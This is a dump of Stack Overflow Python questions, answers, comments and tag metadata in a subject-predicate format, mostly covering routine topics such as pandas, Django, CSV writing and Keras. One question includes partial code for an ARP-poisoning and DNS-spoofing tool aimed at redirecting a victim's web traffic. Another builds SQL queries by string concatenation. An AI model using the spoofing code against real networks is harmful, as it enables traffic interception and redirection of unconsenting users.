tags question: http://stackoverflow.com/q/47029479
tags question: http://stackoverflow.com/q/47057789
tags question: http://stackoverflow.com/q/46911542
tags question: http://stackoverflow.com/q/47015552
tags question: http://stackoverflow.com/q/46939140
tags question: http://stackoverflow.com/q/46909373
tags question: http://stackoverflow.com/q/47022279
tags question: http://stackoverflow.com/q/47023728
tags question: http://stackoverflow.com/q/46934615
tags question: http://stackoverflow.com/q/46918457
tags question: http://stackoverflow.com/q/46985270
tags question: http://stackoverflow.com/q/47045419
tags question: http://stackoverflow.com/q/46942610
tags question: http://stackoverflow.com/q/46916993
tags question: http://stackoverflow.com/q/46973810
tags question: http://stackoverflow.com/q/47039750
tags question: http://stackoverflow.com/q/46980282
tags question: http://stackoverflow.com/q/46996927
tags question: http://stackoverflow.com/q/47063171
tags question: http://stackoverflow.com/q/47040324
tags question: http://stackoverflow.com/q/47031287
tags question: http://stackoverflow.com/q/47033424
tags question: http://stackoverflow.com/q/47007130
tags question: http://stackoverflow.com/q/46912100
tags question: http://stackoverflow.com/q/46961042
tags question: http://stackoverflow.com/q/46994932
tags question: http://stackoverflow.com/q/46911722
tags question: http://stackoverflow.com/q/46913742
tags question: http://stackoverflow.com/q/46922176
tags question: http://stackoverflow.com/q/46973057
tags question: http://stackoverflow.com/q/46913137
tags question: http://stackoverflow.com/q/46926980
tags question: http://stackoverflow.com/q/46973702
tags question: http://stackoverflow.com/q/47012154
tags question: http://stackoverflow.com/q/46961732
tags question: http://stackoverflow.com/q/46916701
tags question: http://stackoverflow.com/q/46919062
tags question: http://stackoverflow.com/q/47004863
tags question: http://stackoverflow.com/q/46961783
tags question: http://stackoverflow.com/q/46964246
tags question: http://stackoverflow.com/q/47006444
tags question: http://stackoverflow.com/q/47004496
tags question: http://stackoverflow.com/q/46932823
tags question: http://stackoverflow.com/q/47018626
tags question: http://stackoverflow.com/q/47048750
tags question: http://stackoverflow.com/q/46992263
tags question: http://stackoverflow.com/q/47023324
tags question: http://stackoverflow.com/q/46913184
tags question: http://stackoverflow.com/q/47031450
tags question: http://stackoverflow.com/q/47034193
tags question: http://stackoverflow.com/q/47049296
tags question: http://stackoverflow.com/q/46963033
tags question: http://stackoverflow.com/q/47026343
tags question: http://stackoverflow.com/q/46985688
tags question: http://stackoverflow.com/q/46961465
tags question: http://stackoverflow.com/q/46960841
tag name: matplotlib
tags question: http://stackoverflow.com/q/47026116
tags question: http://stackoverflow.com/q/47046687
tags question: http://stackoverflow.com/q/47025392
tags question: http://stackoverflow.com/q/47016833
tags question: http://stackoverflow.com/q/46987930
tags question: http://stackoverflow.com/q/46955397
tags question: http://stackoverflow.com/q/46935299
tags question: http://stackoverflow.com/q/47022755
tags question: http://stackoverflow.com/q/46936174
tags question: http://stackoverflow.com/q/46924610
tags question: http://stackoverflow.com/q/46933730
tags question: http://stackoverflow.com/q/47009473
tags question: http://stackoverflow.com/q/46943073
tags question: http://stackoverflow.com/q/47053716
tags question: http://stackoverflow.com/q/46956762
tags question: http://stackoverflow.com/q/46919395

http://stackoverflow.com/q/46910775
tagged with: cidr
has comment: http://stackoverflow.com/comment/80788929
accepted answer: http://stackoverflow.com/a/47273164
score: 1
has answer: http://stackoverflow.com/a/47273164
answer count: 1
favorite count: 0
type: Question
upvote count: 2
tagged with: infoblox
has comment: http://stackoverflow.com/comment/80768229
tagged with: python
tagged with: ip-address
has body: I am looking for a fast way to check if IP addresses are part of a list of CIDR notated IP ranges. I've seen examples before use netaddr like: from netaddr import IPNetwork, IPAddress for CIDR in CIDRLIST: if IPAddress(row[0]) in IPNetwork(CIDR): print('success') However this solution is way too slow for my problem (800 IP ranges in CIDR and 500.000 IP adresses). What could be a way to do this faster? I've read about using pytries, but I am not certain this is the solution.
downvote count: 1
has comment: http://stackoverflow.com/comment/81496194
type: AnsweredQuestion
has title: Fast way to check if a list of IP is in a list of IP-ranges (CIDR notation)
tagged with: performance

http://stackoverflow.com/comment/80901014
has text: Thanks for your attention @MarcusMüller . I follow the Stackoverflow website and appreciate your contribuitions to others users in this area of RF. I am working in a company that develop solutions to IoT. My area is SDR. Currently we are working with WiSUN. My flowgraph should identificate some channels in a range of frequency and next send to the filter the central frequency. To this i need delay the signal before the filter because when my "identificator" find some frequency the signal can't pass througth it.
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/46938786

http://stackoverflow.com/a/47005669
has comment: http://stackoverflow.com/comment/80961524
type: Answer
has body: You need to return render(...) again after doing request.POST. def growth(request): template_name = 'dashboard/growth.html' parsedData = [] context = {'growth_json': parsedData, 'success': False} if request.method == 'POST': ... for data in parsed_json[data_input][year_input_int:]: growthData['date'] = data['date'] growthData['value'] = data['value'] growthData['year'] = data['year'] parsedData.append(growthData.copy()) context.update({'success': True}) return render(request, template_name, context) # here return render(request, template_name, context) and in your template; {% if success %} {{ growth_json }} {% endif %}
accepted answer of: http://stackoverflow.com/q/47005450
score: 0
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/47005450

http://stackoverflow.com/q/47041946
tagged with: pulp
tagged with: python
has comment: http://stackoverflow.com/comment/81033618
has comment: http://stackoverflow.com/comment/81034269
favorite count: 0
tagged with: if-statement
has comment: http://stackoverflow.com/comment/81032284
downvote count: 1
has comment: http://stackoverflow.com/comment/81030890
score: -1
type: Question
tagged with: python-3.x
upvote count: 0
has answer: http://stackoverflow.com/a/47042136
has body: I am trying to use PuLP to optimize a system, minimizing the cost of it. I am using multiple If's and the problem is that it always meets the first condition. Here is my code. I hope someone can help me, as I am just starting to learn about this language. import numpy as np import pandas as pd from pulp import * idx = [0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23] d = { 'day': pd.Series(['01/01/14', '01/01/14', '01/01/14', '01/01/14', '01/01/14', '01/01/14', '01/01/14', '01/01/14', '01/01/14', '01/01/14', '01/01/14', '01/01/14', '01/01/14', '01/01/14', '01/01/14', '01/01/14', '01/01/14', '01/01/14', '01/01/14', '01/01/14', '01/01/14', '01/01/14', '01/01/14', '01/01/14'], index=idx), 'hour':pd.Series(['00:00:00', '01:00:00', '02:00:00', '03:00:00', '04:00:00', '05:00:00', '06:00:00', '07:00:00', '08:00:00', '09:00:00', '10:00:00', '11:00:00', '12:00:00', '13:00:00', '14:00:00', '15:00:00', '16:00:00', '17:00:00', '18:00:00', '19:00:00', '20:00:00', '21:00:00', '22:00:00', '23:00:00'], index=idx), 'output':pd.Series([0,0,0,0.087,0.309,0.552,0.682,0.757,0.783,0.771,0.715,0.616,0.466,0.255,0.022,0,0,0,0,0,0,0,0,0], index=idx)} cfPV = pd.DataFrame(d) idx = [0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23] d1 = { 'day': pd.Series(['01/01/14', '01/01/14', '01/01/14', '01/01/14', '01/01/14', '01/01/14', '01/01/14', '01/01/14', '01/01/14', '01/01/14', '01/01/14', '01/01/14', '01/01/14', '01/01/14', '01/01/14', '01/01/14', '01/01/14', '01/01/14', '01/01/14', '01/01/14', '01/01/14', '01/01/14', '01/01/14', '01/01/14'], index=idx), 'hour':pd.Series(['00:00:00', '01:00:00', '02:00:00', '03:00:00', '04:00:00', '05:00:00', '06:00:00', '07:00:00', '08:00:00', '09:00:00', '10:00:00', '11:00:00', '12:00:00', '13:00:00', '14:00:00', '15:00:00', '16:00:00', '17:00:00', '18:00:00', '19:00:00', '20:00:00', '21:00:00', '22:00:00', '23:00:00'], index=idx), 'output':pd.Series([0.528,0.512,0.51,0.448,0.62,0.649,0.601,0.564,0.541,0.515,0.502,0.522,0.57,0.638,0.6…
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81031420
has title: PYTHON, if-statement meets only first condition. PuLP
answer count: 1

http://stackoverflow.com/q/47053029
downvote count: 0
has body: I'm trying to write to a CSV file with output that looks like this: 14897,40.50891,-81.03926,168.19999 but the CSV writer keeps writing the output with quotes at beginning and end '14897,40.50891,-81.03926,168.19999' When I print the line normally, the output is correct but I need to do line.split() or else the csv writer puts output as 1,4,8,9,7 etc... But when I do line.split() the output is then ['14897,40.50891,-81.03926,168.19999'] Which is written as '14897,40.50891,-81.03926,168.19999' How do I make the quotes go away? I already tried csv.QUOTE_NONE but doesn't work. with open(results_csv, 'wb') as out_file: writer = csv.writer(out_file, delimiter=',') writer.writerow(["time", "lat", "lon", "alt"]) for f in file_directory): for line in open(f): print line line = line.split() writer.writerow(line)
has answer: http://stackoverflow.com/a/47053549
score: 2
has title: Python CSV writer keeps adding unnecessary quotes
tagged with: http://stackoverflow.com/tag/csv
tagged with: python
has answer: http://stackoverflow.com/a/47053147
favorite count: 0
type: Question
answer count: 2
upvote count: 2
type: UnansweredQuestion

http://stackoverflow.com/comment/81077994
has text: if currently_waiting_on: currently_waiting_on[0].cancel() df = defer.Deferred(cancelled) currently_waiting_on = [] def it(cur):
comment on: http://stackoverflow.com/q/47064545
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/a/47035450
upvote count: 2
score: 2
downvote count: 0
has body: No, it unfortunately does not. You are calling fillna not in place and it results in the generation of a copy, which you then reassign back to the variable df. You should understand that reassigning this variable does not change the contents of the list. If you want to do that, iterate over the index or use a list comprehension. data_frame_list = [df.ffill() for df in data_frame_list] Or, for i in range(len(data_frame_list)): data_frame_list[i].ffill(inplace=True)
answers question: http://stackoverflow.com/q/47035399
type: Answer

http://stackoverflow.com/a/46931483
has body: If you can use udf, from pyspark.sql import functions as F udf = F.udf(lambda x,y : 0 if x == 0 or not all((x,y)) else x-y/x) df = df.withColumn("result", udf(df["price1"],df["price2"]))
type: Answer
score: 0
answers question: http://stackoverflow.com/q/46930662

http://stackoverflow.com/a/47000287
has comment: http://stackoverflow.com/comment/80947550
has comment: http://stackoverflow.com/comment/80947399
score: 0
has comment: http://stackoverflow.com/comment/80947514
has comment: http://stackoverflow.com/comment/80947375
has comment: http://stackoverflow.com/comment/80947341
accepted answer of: http://stackoverflow.com/q/47000232
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/80949045
upvote count: 1
downvote count: 1
answers question: http://stackoverflow.com/q/47000232
has body: If you don't want to use any xml parser, you can simply do it using regex: tagYouWannaLookFor = "ViewCount" regex = r"\b"+ tagYouWannaLookFor + "=\"(.*?)\"" match = re.search(regex, test_str) Live demo here OUTPUT &gt;&gt;&gt; match.group(1) &gt;&gt;&gt; 75079 Sample python code
has comment: http://stackoverflow.com/comment/80947705
type: Answer
has comment: http://stackoverflow.com/comment/80948965

http://stackoverflow.com/comment/81044241
has text: Please add your code as text, not as an image!
score: 0
comment on: http://stackoverflow.com/q/47048027
type: Comment
type: QuestionComment

django-database
type: Tag
tags question: http://stackoverflow.com/q/47047121
tag name: django-database
tags question: http://stackoverflow.com/q/47046309

http://stackoverflow.com/q/46943161
has answer: http://stackoverflow.com/a/46944155
has comment: http://stackoverflow.com/comment/80833860
has comment: http://stackoverflow.com/comment/80833820
answer count: 1
downvote count: 0
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/80834241
favorite count: 0
type: Question
has body: I am trying to read a list of directories from a text file, and use that to copy the directories to a new location. My code below seems to only complete the "#Perform copy or move files" loop for the last item of the list. Can someone please point me in the direction as to why? import os import shutil operation = 'copy' # 'copy' or 'move' text_file = open('C:\User\Desktop\CopyTrial.txt', "r") lines = text_file.readlines() for line in lines: new_file_name = line[47:] root_src_dir = os.path.join('.',line) root_target_dir = os.path.join('.','C:\User\Desktop' + new_file_name) # Perform copy or move files. for src_dir, dirs, files in os.walk(root_src_dir): dst_dir = src_dir.replace(root_src_dir, root_target_dir) if not os.path.exists(dst_dir): os.mkdir(dst_dir) for file_ in files: src_file = os.path.join(src_dir, file_) dst_file = os.path.join(dst_dir, file_) if os.path.exists(dst_file): os.remove(dst_file) if operation is 'copy': shutil.copy(src_file, dst_dir) elif operation is 'move': shutil.move(src_file, dst_dir) text_file.close()
has title: Nested for loop only executing for last item of list
has comment: http://stackoverflow.com/comment/80834166
tagged with: nested-loops
tagged with: python
has comment: http://stackoverflow.com/comment/80833876
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/80835701
accepted answer: http://stackoverflow.com/a/46944155
has comment: http://stackoverflow.com/comment/80834468

http://stackoverflow.com/q/47003643
tagged with: python
has comment: http://stackoverflow.com/comment/81004582
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/47466251
downvote count: 0
has comment: http://stackoverflow.com/comment/80957942
has title: my dns spoofing only works with some sites?
upvote count: 1
answer count: 1
tagged with: dns
favorite count: 0
type: Question
tagged with: security
accepted answer: http://stackoverflow.com/a/47466251
has body: I created a DNF spoofer (with ARP poisoning) in python just for fun. My goal is just to redirect a victim's dns requests to my site. so whenever they go to any website, they go to my site instead. However it only seems to work on some sites not all of them, doesn't seem to work when they go to sites like twitter or facebook, but when going to google or smaller sites they get redirected just fine? I'm also using iptables rules in my code to block all dns from the router. Anyone know why? code: #command line arguments parser = argparse.ArgumentParser(description='ARP Poisoning and DNS Spoofing') parser.add_argument('-v', '--victim', dest='victimIP', help="IP Address of victim", required=True) parser.add_argument('-t', '--target', dest='targetIP', help="IP Address of spoof site", required=True) parser.add_argument('-r', '--router', dest='routerIP', help="IP Address of Router", required=True) args = parser.parse_args() vIP = args.victimIP targetIP = args.targetIP routerIP = args.routerIP localMAC = "" victimMAC = "" routerMAC = "" #Setup function def setup(): #setup forwarding rules #disable forwarding of DNS requests to router os.system('echo 1 &gt; /proc/sys/net/ipv4/ip_forward') #iptables rule Popen(["iptables -A FORWARD -p UDP --dport 53 -j DROP"], shell=True, stdout=PIPE) #Flush iptables on exit def reset(): Popen(["iptables -F"], shell=True, stdout=PIPE) #get MACaddress of local machine def getOurMAC(interface): try: mac = open('/sys/class/net/'+interface+'/address').readline() except: mac = "00:00:00:00:00:00" return mac[0:17] #returns MAC address of victim IP def getTargetMAC(IP): #add the target to our system's ARP cache pingResult = Popen(["ping", "-c 1", IP], stdout=PIPE) pid = Popen(["arp", "-n", IP], stdout=PIPE) s = pid.communicate()[0] MAC = re.search(r"(([a-f\d]{1,2}\:){5}[a-f\d]{1,2})", s).groups()[0] return MAC #constructs and sends arp packets to send to router and to victim. def ARPpoison(localMAC, victimMAC, routerMAC): arpPacketVictim = Ether(src=l…
tagged with: arp
score: 1

http://stackoverflow.com/comment/80883018
has text: @AndyHayden I seriously thought using `pd.pivot` was like calling `ClassName.function(self)` instead of `self.function()`.
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/46967725

http://stackoverflow.com/q/47023299
type: Question
has answer: http://stackoverflow.com/a/47023465
possible better answer: http://stackoverflow.com/a/47023465
has title: Running python bot in django background
has answer: http://stackoverflow.com/a/47023423
accepted answer: http://stackoverflow.com/a/47023423
score: -2
tagged with: django
tagged with: python
type: AnsweredQuestion
answer count: 2
upvote count: 0
downvote count: 2
has body: I've got a django project with simple form to take users details in. I want to use python bot running in the background and constantly checking django database for any changes. Is it Celery the right tool for this job? Any other solution? Thank you
favorite count: 0

http://stackoverflow.com/a/47001440
downvote count: 1
accepted answer of: http://stackoverflow.com/q/47001413
has body: Assign only columns of interest: cols = ['Measure1','Measure2'] mask = df[cols].applymap(lambda x: isinstance(x, (int, float))) df[cols] = df[cols].where(mask) print (df) Country Name Measure1 Measure2 0 uFv 7 8 1 vCr 5 NaN 2 qPp 2 6 3 QIC 10 10 4 Suy NaN 8 5 eFS 6 4 A meta-question, Is it normal that it takes me more than 3 hours to formulate a question here (including research) ? In my opinion yes, create good question is really hard.
has comment: http://stackoverflow.com/comment/80949557
answers question: http://stackoverflow.com/q/47001413
type: Answer
score: 13
has comment: http://stackoverflow.com/comment/80949514
has comment: http://stackoverflow.com/comment/80950068
upvote count: 14
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/80950076

http://stackoverflow.com/a/47017442
has body: Use subprocess package: import subprocess # run separate process subprocess.call(['python', '-m', 'dbbot.run', '-k', 'output.xml'], shell=False) dbbot.run is not coded to run from inside another script.
type: AcceptedAnswer
downvote count: 0
upvote count: 1
accepted answer of: http://stackoverflow.com/q/47017062
score: 1
answers question: http://stackoverflow.com/q/47017062
type: Answer

http://stackoverflow.com/q/46984022
type: AnsweredQuestion
score: 0
answer count: 2
upvote count: 1
tagged with: sql
accepted answer: http://stackoverflow.com/a/46984065
tagged with: sqlite
downvote count: 1
has body: There are already a few questions with the same problems, I have all they looked, but still no solution found. I would like to merge and count from two tables, the column with the same name (device_id). column names: events and gender_age_train import pandas as pd from sqlalchemy import create_engine # database connection db_engine = create_engine('sqlite:///devices-train.db') join_devices = pd.read_sql_query('SELECT device_id, count(device_id), gender_age_train.device_id, count(gender_age_train.device_id) FROM events JOIN gender_age_train on events.device_id = gender_age_train.device_id GROUP BY device_id', db_engine) print join_devices the python output is: sqlalchemy.exc.OperationalError: (sqlite3.OperationalError) ambiguous column name: device_id [SQL: 'SELECT device_id, count(device_id), gender_age_train.device_id, count(gender_age_train.device_id) FROM events JOIN gender_age_train on events.device_id = gender_age_train.device_id GROUP BY device_id']
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/46987798
possible better answer: http://stackoverflow.com/a/46987798
has answer: http://stackoverflow.com/a/46984065
tagged with: python
has title: SQL join for two tables, with same column names on Python

http://stackoverflow.com/comment/81041829
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47019387
has text: With just 2 years, I'd loop over days, and write your function to work across a range like https://stackoverflow.com/questions/29370057/select-dataframe-rows-between-two-dates

http://stackoverflow.com/q/47031684
has body: I'm trying out embedding with LSTM and have the following in Keras: inp = Input(shape=(20, 1)) x = Embedding(total_words, 256)(inp) x = LSTM(128)(x) output = Dense(1, activation ='softmax')(x) However, I don't understand why I keep getting the following error at the line x = LSTM(128)(x): ValueError: Input 0 is incompatible with layer lstm_12: expected ndim=3, found ndim=4 What have I missed out?
type: UnansweredQuestion
downvote count: 0
tagged with: keras
has comment: http://stackoverflow.com/comment/99003752
has comment: http://stackoverflow.com/comment/81023395
upvote count: 5
has comment: http://stackoverflow.com/comment/109355156
tagged with: python
has title: Keras LSTM input incompatible with layer, expected ndim=3, found ndim=4
has comment: http://stackoverflow.com/comment/81021364
has comment: http://stackoverflow.com/comment/81025263
has comment: http://stackoverflow.com/comment/81033238
tagged with: lstm
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/109343179
score: 5
answer count: 0
has comment: http://stackoverflow.com/comment/81014290

http://stackoverflow.com/q/47045497
possible better answer: http://stackoverflow.com/a/47045563
tagged with: string
has answer: http://stackoverflow.com/a/47045524
accepted answer: http://stackoverflow.com/a/47045524
downvote count: 1
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/47045563
score: 1
has answer: http://stackoverflow.com/a/47045826
tagged with: python
has title: How to print first element in list of string which is delimited by Pipe symbol in python
tagged with: delimiter
upvote count: 2
type: AnsweredQuestion
has body: How to get the first element from each pipe delimiter value. test-123-2,abc,1232,,21,fd|lskd-929-8282,vbd,3221,,983,ew|ploi-90293-2,xsw,9073,,34,mn|opuye-8392-kl,few,45432,,234,df| For Example: I want to print the output like this: test-123-2 lskd-929-8282 ploi-90293-2 opuye-8392-kl I tried something like this: value=test-123-2,abc,1232,,21,fd|lskd-929-8282,vbd,3221,,983,ew|ploi-90293-2,xsw,9073,,34,mn|opuye-8392-kl,few,45432,,234,df| result = value.split('|') restult[0] But its not coming the output which i expected. Can someone guide how can I print all first element in each column which is delimited by Pipe symbol Thanks in advance.
tagged with: split
answer count: 3

http://stackoverflow.com/q/46932191
type: Question
has answer: http://stackoverflow.com/a/46932238
tagged with: python-3.x
tagged with: function
tagged with: python
has body: I'm just starting out in OOP for python (so please excuse me if this is a stupid question). I am working with a model which uses a function to simulate the decay of a CO2 emission within the atmosphere. For each timestep, the c_size property of the class Emission should decrease using the decay function I've simplified the code to a single run, but I keep getting the error: Traceback (most recent call last): File "&lt;co2&gt;", line 20, in &lt;module&gt; x.decay(year=1) TypeError: decay() got multiple values for argument 'year' I can't see where any multiple values could be coming from. I'm only passing a single int value to the code. The code is: import numpy as np class Emission: def __init__(self,e_year=0, e_size=0.0): self.e_year=e_year #emission year self.e_size=e_size #emission size self.c_size=[e_size] #current size def decay(year): #returns a % decay based on the year since emission 0 = 100% 1 = 93% # etc. from AR5 WG1 Chapter 8 supplementary material equation 8.SM.10 # using coefficients from table 8.SM.10 term1 = 0.2173 term2 = 0.224*np.exp(-year/394.4) term3 = 0.2824*np.exp(-year/36.54) term4 = 0.2763*np.exp(-year/4.304) out = (term1+term2+term3+term4)*self.e_size self.c_size.append(out) print(self.c_size) x = Emission(e_year=1,e_size=10.0) x.decay(year=1)
has comment: http://stackoverflow.com/comment/80811761
possible better answer: http://stackoverflow.com/a/46932255
tagged with: class
accepted answer: http://stackoverflow.com/a/46932238
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/80811414
has answer: http://stackoverflow.com/a/46932255
answer count: 2
tagged with: oop
downvote count: 0
score: 1
has title: multiple argument values error
upvote count: 1
favorite count: 0

http://stackoverflow.com/q/47057721
score: 0
answer count: 2
has answer: http://stackoverflow.com/a/47059425
type: Question
linked to: http://stackoverflow.com/q/3220280
has title: Not able to run django-admin script on ubuntu
has answer: http://stackoverflow.com/a/47058240
tagged with: django-admin
type: UnansweredQuestion
tagged with: django
tagged with: python
has body: When I ran the following command : django-admin startproject project_name I got the following error : The program 'django-admin' is currently not installed. You can install it by typing: sudo apt install python-django-common I did what it told me to and nwo I get the following error: Cannot find installed version of python-django or python3-django. on running the same command, I am not able to understand if I had installed django , then why was django-admin script not installed Note that django is installed which is verified by the following: $ python -c "import django; print(django.get_version())" 1.7

http://stackoverflow.com/a/46939184
accepted answer of: http://stackoverflow.com/q/46938990
score: 0
has body: As mentioned by @Stack, the content is not loaded dynamically, it's in the page inside the &lt;script&gt; tags. You can try something like this: page = urllib2.urlopen(url).read() soup = BeautifulSoup(page) for tr in soup.find_all('tr')[2:]: tds = tr.find_all('td') print (tds) From this question. Note: this code is untested.
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/80866893
answers question: http://stackoverflow.com/q/46938990
has comment: http://stackoverflow.com/comment/80827485
type: Answer

http://stackoverflow.com/q/46949850
favorite count: 0
type: Question
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/46950009
has answer: http://stackoverflow.com/a/46949967
has answer: http://stackoverflow.com/a/46950009
has answer: http://stackoverflow.com/a/46950000
tagged with: python
tagged with: regex
answer count: 4
upvote count: 4
tagged with: python-3.x
tagged with: python-2.7
has title: python regular expressions - how to get all the names in a line?
has body: How do i get the names from the line like below, using regex ?? line #1==&gt; Elector's Name: Surpam Badurubai Elector's Name: Madavimaru Elector's Name: Madavitannubai line #2==&gt; Elector's Name: GEDAM KARNU Elector's Name: GEDAM BHEEM BAI Elector's Name: Surpam Rajeshwar Rav I've tried regex = "\s*Elector\'s\sName\:\s([[a-zA-z]*\s[a-zA-z]*\s*[a-zA-z]*]*)\s" re.findall(regex, line) It was working for line 1 but is not able to fetch the last name. For line 2, it only fetched 'Surpam Rajeshwar' from the last name but it actually has 3 words in it. I Appreciate, if someone could help me with this or suggest me a different way to get the names. !!
has comment: http://stackoverflow.com/comment/80847067
downvote count: 0
has answer: http://stackoverflow.com/a/46950032
score: 4
tagged with: names
accepted answer: http://stackoverflow.com/a/46949967

http://stackoverflow.com/a/47047501
accepted answer of: http://stackoverflow.com/q/47047316
answers question: http://stackoverflow.com/q/47047316
type: Answer
score: 0
has body: Mistakenly have second loop import urllib2 from bs4 import BeautifulSoup import requests import itertools with open('site_test.txt') as site_test: sites = (line.strip() for line in site_test) for site in sites: site = urllib2.urlopen(site) soup = BeautifulSoup(site, "html.parser") x= soup.h1.string y= soup.find_all('p')[1].text z= soup.find_all('p')[2].text e= soup.find_all('p')[3].text print x+"--"+y+"--"+z+"--"+e
type: AcceptedAnswer

http://stackoverflow.com/q/46967080
tagged with: string
type: Question
type: UnansweredQuestion
has body: So i have a table with all of the products and their language availability. I want to write a function to check the language availability when input the product name and language. My code is as follow: "CREATE TABLE t (Language,French, Italian, German, Spanish, Japanese, Korean, 'Traditional Chinese');") //insert data to table t def checkLanguageAvailability(self, product, language): query = "SELECT " + language + " FROM t WHERE Language = '" + product + "'" cur = self.df.cursor() cur.execute(query) # print cur.fetchall() res = cur.fetchall() if res[0][0] == '': return False elif int(float(res[0][0])) != 0: return True so when i test it , it all works fine with one-word text checkLanguageAvailability("productname",'French')) --&gt; True But with multiple-word text checkLanguageAvailability("productname",'Traditional Chinese')) it raise this error : cur.execute(query) sqlite3.OperationalError: no such column: Traditional It seems that instead of taking the whole string 'Traditional Chinese' as a parameter, it just take 'traditional' and there is no column have this name in table
tagged with: python
tagged with: text
score: 0
has answer: http://stackoverflow.com/a/46967229
answer count: 2
has answer: http://stackoverflow.com/a/46967102
has title: Sqlite select column text with multple words
tagged with: select
tagged with: sqlite

http://stackoverflow.com/comment/80996950
comment on: http://stackoverflow.com/q/47024825
has text: [Why is “Can someone help me?” not an actual question?](https://meta.stackoverflow.com/questions/284236/why-is-can-someone-help-me-not-an-actual-question). Welcome to SO. Unfortunately this isn't a discussion forum or tutorial. Please take the time to read [ask] and the links it contains.
type: Comment
type: QuestionComment
score: 1

http://stackoverflow.com/comment/80926521
score: 0
has text: I guess, this was just copied from some book/formatted doc
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/46990015

http://stackoverflow.com/q/46952522
has comment: http://stackoverflow.com/comment/80859418
tagged with: logging
answer count: 0
downvote count: 0
upvote count: 1
score: 1
tagged with: rasa-nlu
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/80859646
has title: ImportError: No module named logger in rasa_nlu.server
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/80862263
tagged with: python
has body: I am getting below error while trying to run python -m rasa_nlu.server -c sample_configs/config_spacy.json Can anyone help to solve this issue ? Code: Traceback (most recent call last): File "/usr/lib64/python2.7/runpy.py", line 162, in _run_module_as_main "__main__", fname, loader, pkg_name) File "/usr/lib64/python2.7/runpy.py", line 72, in _run_code exec code in run_globals File "/prdai/RasaAI/rasa_nlu-master/rasa_nlu/server.py", line 19, in &lt;module&gt; from rasa_nlu.data_router import DataRouter, InvalidProjectError, \ File "rasa_nlu/data_router.py", line 19, in &lt;module&gt; from twisted.logger import jsonFileLogObserver, Logger Import Error: No module named logger

http://stackoverflow.com/a/46948330
score: 0
answers question: http://stackoverflow.com/q/46948196
type: Answer
has comment: http://stackoverflow.com/comment/117418119
has body: I checked and somehow the header columns were mixed up. Correcting that fixed the issue! Thanks!
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/46948196

http://stackoverflow.com/comment/81039015
score: 0
type: Comment
comment on: http://stackoverflow.com/a/47045634
type: AnswerComment
has text: It worked the nasty way (I can make a folder \platforms\ in the same folder as my executable and put qwindows.dll inside \platforms\) but then it's no longer a single file executable. How can I make the QCoreApplication::addLibraryPath(...) work in Python?

http://stackoverflow.com/comment/81041743
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47045029
has text: I started using the Python command line to type in the code and see output at all steps + do more random printing, and printing the engine shows it's just the full URL for the database connection, and meta shows it's not bound. So I still need to connect and bind. Think I'm getting somewhere.

http://stackoverflow.com/q/47052039
answer count: 1
linked to: http://stackoverflow.com/q/68278846
upvote count: 1
tagged with: python
has comment: http://stackoverflow.com/comment/81051249
downvote count: 1
duplicate of: http://stackoverflow.com/q/45621722
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/81051073
score: 0
has comment: http://stackoverflow.com/comment/81051178
accepted answer: http://stackoverflow.com/a/47052290
has comment: http://stackoverflow.com/comment/81051017
has comment: http://stackoverflow.com/comment/81051177
has answer: http://stackoverflow.com/a/47052290
has comment: http://stackoverflow.com/comment/81051253
has comment: http://stackoverflow.com/comment/81051338
favorite count: 0
has body: I am currently trying to stream tweets for a project using Python, Elasticsearch and Kibana. While running my Python script, I have an IndentationError and I don't understand why, can anyone help me through this problem ? Thanks in advance. My Python script : import json import tweepy import textblob import elasticsearch from tweepy import OAuthHandler, Stream from tweepy.streaming import StreamListener from textblob import TextBlob from elasticsearch import Elasticsearch consumer_key = '...' consumer_secret = '...' access_token = '...' access_token_secret = '...' elastic_search = Elasticsearch() class MyStreamListener(StreamListener): def on_data(self, data): dict_data = json.loads(data) tweet = TextBlob(dict_data["text"]) print(tweet.sentiment.polarity) if tweet.sentiment.polarity &lt; 0: sentiment = "negative" elif tweet.sentiment.polarity == 0: sentiment = "neutral" else: sentiment = "positive" print(sentiment) elastic_search.index(index="sentiment", doc_type="test-type", body={"author": dict_data["user"]["screen_name"], "date": dict_data["created_at"], "message": dict_data["text"], "polarity": tweet.sentiment.polarity, "subjectivity": tweet.sentiment.subjectivity, "sentiment": sentiment}) return True def on_failure(self, status): print(status) if __name__ == '__main__': listener = MyStreamListener() auth = OAuthHandler(consumer_key, consumer_secret) auth.set_access_token(access_token, access_token_secret) stream = Stream(auth, listener) stream.filter(track=['congress']) # user_choice = input("Please choose a Hashtag... : ") # retrieve_tweets = api.search(user_choice) The error message : File "sentiment.py", line 21 tweet = TextBlob(dict_data["text"]) ^ IndentationError: unindent does not match any outer indentation level
type: Question
has comment: http://stackoverflow.com/comment/81051101
linked to: http://stackoverflow.com/q/45621722
has comment: http://stackoverflow.com/comment/81051430
tagged with: indentation
linked to: http://stackoverflow.com/q/17076302
has comment: http://stackoverflow.com/comment/81051199
has title: IndentationError with Python

datetime
tags question: http://stackoverflow.com/q/46917295
tags question: http://stackoverflow.com/q/47016833
tags question: http://stackoverflow.com/q/46984504
tags question: http://stackoverflow.com/q/46982470
tags question: http://stackoverflow.com/q/47043841
tags question: http://stackoverflow.com/q/47064420
tag name: datetime
